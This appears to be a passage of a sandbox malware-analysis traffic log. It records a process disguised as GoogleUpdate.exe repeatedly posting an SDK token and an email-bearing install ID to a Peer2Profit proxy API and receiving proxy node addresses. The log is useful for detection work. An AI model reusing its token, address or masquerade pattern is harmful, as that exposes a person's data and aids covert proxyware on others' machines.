2022-11-27 03:37:55 UTC	41	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:55 UTC	41	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:55 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3f968359b28-FRA
2022-11-27 03:37:55 UTC	41	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49888	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:56 UTC	41	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:56 UTC	42	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:56 UTC	42	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:56 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d400db5f9164-FRA
2022-11-27 03:37:56 UTC	42	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49891	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:57 UTC	42	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:57 UTC	42	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:58 UTC	43	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:58 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d4093a138ff2-FRA
2022-11-27 03:37:58 UTC	43	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49894	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:59 UTC	43	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:59 UTC	43	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:59 UTC	43	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:59 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d4120f3c929b-FRA
2022-11-27 03:37:59 UTC	43	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49897	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:00 UTC	44	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:00 UTC	44	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:00 UTC	44	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:00 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d41a8e07994e-FRA
2022-11-27 03:38:00 UTC	44	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49900	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:01 UTC	44	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:01 UTC	44	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:01 UTC	45	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:01 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d421ec449049-FRA
2022-11-27 03:38:01 UTC	45	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49902	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:02 UTC	45	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:02 UTC	45	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:02 UTC	45	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:02 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d424593b9ba1-FRA
2022-11-27 03:38:02 UTC	46	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49905	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:02 UTC	46	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:02 UTC	46	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:02 UTC	46	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:02 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d4264b2d68fb-FRA
2022-11-27 03:38:02 UTC	46	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49908	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:02 UTC	46	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:02 UTC	46	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:02 UTC	47	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:02 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d42839a7bb4f-FRA
2022-11-27 03:38:02 UTC	47	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49910	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:03 UTC	47	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:03 UTC	47	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:03 UTC	47	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:03 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d42a39559bef-FRA
2022-11-27 03:38:03 UTC	48	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49729	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:22 UTC	4	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:22 UTC	4	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:22 UTC	5	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:22 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d32bfba8920d-FRA
2022-11-27 03:37:22 UTC	5	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49913	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:03 UTC	48	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:03 UTC	48	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:03 UTC	48	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:03 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d42c2840927d-FRA
